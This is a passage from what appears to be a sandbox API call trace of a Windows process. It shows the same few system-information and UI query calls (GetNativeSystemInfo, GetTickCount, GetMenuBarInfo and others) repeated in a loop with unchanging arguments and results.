psbi=0x0) returned 0 [0026.889] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.889] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.889] GetTickCount () returned 0x17fe8 [0026.889] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.889] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.889] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.889] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.889] GetTickCount () returned 0x17fe8 [0026.889] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.889] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.889] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.889] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.889] GetTickCount () returned 0x17fe8 [0026.889] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.890] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.890] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.890] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.890] GetTickCount () returned 0x17fe8 [0026.890] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.890] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.890] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.890] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.890] GetTickCount () returned 0x17fe8 [0026.890] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.890] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.890] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.890] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.890] GetTickCount () returned 0x17fe8 [0026.890] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.890] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.890] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.890] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.890] GetTickCount () returned 0x17fe8 [0026.890] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.890] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.890] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.890] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.890] GetTickCount () returned 0x17fe8 [0026.890] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.890] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.891] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.891] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.891] GetTickCount () returned 0x17fe8 [0026.891] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.891] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.891] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.891] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.891] GetTickCount () returned 0x17fe8 [0026.891] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.891] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.891] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.891] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.891] GetTickCount () returned 0x17fe8 [0026.891] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.891] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.891] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.891] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.891] GetTickCount () returned 0x17fe8 [0026.891] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.891] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.891] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.891] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.891] GetTickCount () returned 0x17fe8 [0026.891] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.891] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.891] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.892] GetTickCount () returned 0x17fe8 [0026.892] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.892] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.892] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.892] GetTickCount () returned 0x17fe8 [0026.892] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.892] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.892] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.892] GetTickCount () returned 0x17fe8 [0026.892] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.892] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.892] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.892] GetTickCount () returned 0x17fe8 [0026.892] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.892] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.892] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.892] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.892] GetTickCount () returned 0x17fe8 [0026.892] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.892] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.892] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.893] GetTickCount () returned 0x17fe8 [0026.893] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.893] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.893] GetTickCount () returned 0x17fe8 [0026.893] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.893] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.893] GetTickCount () returned 0x17fe8 [0026.893] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.893] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.893] GetTickCount () returned 0x17fe8 [0026.893] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.893] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.893] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.893] GetTickCount () returned 0x17fe8 [0026.893] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.893] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.894] GetTickCount () returned 0x17fe8 [0026.894] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.894] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.894] GetTickCount () returned 0x17fe8 [0026.894] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.894] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.894] GetTickCount () returned 0x17fe8 [0026.894] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.894] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.894] GetTickCount () returned 0x17fe8 [0026.894] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.894] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.894] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.894] GetTickCount () returned 0x17fe8 [0026.894] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.894] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.895] GetTickCount () returned 0x17fe8 [0026.895] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.895] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.895] GetTickCount () returned 0x17fe8 [0026.895] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.895] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.895] GetTickCount () returned 0x17fe8 [0026.895] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.895] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.895] GetTickCount () returned 0x17fe8 [0026.895] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.895] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.895] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.895] GetTickCount () returned 0x17fe8 [0026.895] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.895] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.895] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.896] GetTickCount () returned 0x17fe8 [0026.896] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.896] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.896] GetTickCount () returned 0x17fe8 [0026.896] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.896] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.896] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.896] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.896] GetTickCount () returned 0x17fe8 [0026.896] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.896] GetScrollBarInfo (in: hwnd=0x0, 